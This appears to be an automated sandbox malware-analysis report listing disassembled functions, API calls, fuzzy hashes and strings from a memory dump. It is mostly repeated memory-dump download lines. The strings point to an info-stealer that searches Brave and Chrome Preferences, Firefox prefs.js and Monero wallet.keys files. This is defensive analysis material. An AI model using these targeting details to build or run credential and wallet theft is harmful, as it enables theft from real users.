Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e73de7ac9e64a9b292d3d2ed944e71a4e5ef508c2fbc3af649e283f9c66f78c1
Instruction ID: 02726c56f91490548794ca2b5a977958ffb149221d78d32908781162ea68bcbe
Opcode Fuzzy Hash: e73de7ac9e64a9b292d3d2ed944e71a4e5ef508c2fbc3af649e283f9c66f78c1
Instruction Fuzzy Hash: 0D41F4606C2F0D7AE678BFE68C82EAD77975F427CCFB857C4E804522A0CB7075206526

Function 00B1BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

FindFirstFileA.KERNEL32(00000000,?,00B30B17,00B30B16,00000000,?,?,?,00B31398,00B30B0F), ref: 00B1BD35
StrCmpCA.SHLWAPI(?,00B3139C), ref: 00B1BD8D
StrCmpCA.SHLWAPI(?,00B313A0), ref: 00B1BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B1C5FF
FindClose.KERNEL32(000000FF), ref: 00B1C611

Strings

Brave, xrefs: 00B1BF42
\Brave\Preferences, xrefs: 00B1C01B
Preferences, xrefs: 00B1BF5E
Google Chrome, xrefs: 00B1C474

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 5e77a43e531a65406e7ecd6c435f9723500922393bb121ff6a5afe3eebe86d65
Instruction ID: f140ab1867d82a3510fb61ed2d041952afb4f5679fa6dc342afbf3cc3d41863f
Opcode Fuzzy Hash: 5e77a43e531a65406e7ecd6c435f9723500922393bb121ff6a5afe3eebe86d65
Instruction Fuzzy Hash: F54224729101189BCB14FB74EC96EED73BDAF95300F4045D8F90AA6151EF34AB58CBA2

Function 00B243F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00B2440C
FindFirstFileA.KERNEL32(?,?), ref: 00B24423
StrCmpCA.SHLWAPI(?,00B30FAC), ref: 00B24451
StrCmpCA.SHLWAPI(?,00B30FB0), ref: 00B24467
FindNextFileA.KERNEL32(000000FF,?), ref: 00B2465D
FindClose.KERNEL32(000000FF), ref: 00B24672

Strings

%s\%s, xrefs: 00B244DB
%s\%s, xrefs: 00B24484
%s\*, xrefs: 00B24400

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: cd229c73d520f6205e25d0d65b0d5b651d47b67ea21702a69934517ab340385a
Instruction ID: 24fb09788e7e6789cd787411d9bb0e516961ea996d62ca97d4a6208904a5821f
Opcode Fuzzy Hash: cd229c73d520f6205e25d0d65b0d5b651d47b67ea21702a69934517ab340385a
Instruction Fuzzy Hash: 83615671910218ABCB24EBA4EC55EEA77BDEF48700F0485C8F50D92150EB749B848FA1

Function 00B239B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B239D3
FindFirstFileA.KERNEL32(?,?), ref: 00B239EA
StrCmpCA.SHLWAPI(?,00B30F7C), ref: 00B23A18
StrCmpCA.SHLWAPI(?,00B30F80), ref: 00B23A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00B23B7C
FindClose.KERNEL32(000000FF), ref: 00B23B91

Strings

%s\%s, xrefs: 00B239C7

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 0911998b77c93a3dbd888fc28f2330946256aa8f1cfcbfb29e34ab72c51e93d9
Instruction ID: 153f76509c172e930c514be9b4cf59b8e20c30e0ea10cd516513071748c5d3d6
Opcode Fuzzy Hash: 0911998b77c93a3dbd888fc28f2330946256aa8f1cfcbfb29e34ab72c51e93d9
Instruction Fuzzy Hash: 5C5188B1910218ABCB24EBB0EC85EEE77BDBF54700F4085D8B65D92140DB74AB88CF64

Function 00B1F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B3155C,00B30D7E), ref: 00B1F55E
StrCmpCA.SHLWAPI(?,00B31560), ref: 00B1F5AF
StrCmpCA.SHLWAPI(?,00B31564), ref: 00B1F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B1F8F1
FindClose.KERNEL32(000000FF), ref: 00B1F903

Strings

prefs.js, xrefs: 00B1F652

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 602947568290de433eb75c8fe1f54566b2b4d9b560954bb025005ac0ebbf17b5
Instruction ID: b17384921e36d582045131a426248803445215b0053a060dc98bd9da79ecedc0
Opcode Fuzzy Hash: 602947568290de433eb75c8fe1f54566b2b4d9b560954bb025005ac0ebbf17b5
Instruction Fuzzy Hash: 84B156719102189BCB24FF64EC96EED73B9AF55300F4085E8A50EA7151EF306B58CF92

Function 00B11710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B3500C,?,?,?,00B350B4,?,?,00000000,?,00000000), ref: 00B11963
StrCmpCA.SHLWAPI(?,00B3515C), ref: 00B119B3
StrCmpCA.SHLWAPI(?,00B35204), ref: 00B119C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B11D80
DeleteFileA.KERNEL32(00000000), ref: 00B11E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00B11E60
FindClose.KERNEL32(000000FF), ref: 00B11E72

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Strings

\*.*, xrefs: 00B11831

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 101076e5e77b6cadffd1e8485fceb34ed7a7cd7322a77415b083013990e65dea
Instruction ID: 880b9ff31720cec7898a204fa7d7ceadecfd1642a93e609358d7bfc640baf164
Opcode Fuzzy Hash: 101076e5e77b6cadffd1e8485fceb34ed7a7cd7322a77415b083013990e65dea
Instruction Fuzzy Hash: B712DE719105289BCB19FB60EC96EEE73B8AF55301F4045D9B50F66091EF706B88CFA2

Function 00B1D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B31454,00B30B96), ref: 00B1D92B
StrCmpCA.SHLWAPI(?,00B31458), ref: 00B1D973
StrCmpCA.SHLWAPI(?,00B3145C), ref: 00B1D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B1DC0C
FindClose.KERNEL32(000000FF), ref: 00B1DC1E

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
